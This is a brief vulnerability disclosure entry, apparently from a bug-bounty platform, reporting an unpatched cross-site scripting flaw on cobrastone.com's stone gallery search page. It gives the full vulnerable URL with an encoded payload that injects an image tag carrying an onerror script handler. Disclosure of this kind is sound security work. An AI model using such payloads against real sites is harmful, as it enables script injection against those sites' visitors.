cobrastone.com XSS vulnerability

Vulnerable URL: http://www.cobrastone.com/stone-gallery-search.php?keyword=texas%20mix%3C!%27/%22/%27/%22/--%3E%3C/Script%3E%3CImage%20Srcset=K%20/;%20Onerror=confirmOPENBUGBOUNTY%20//%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS...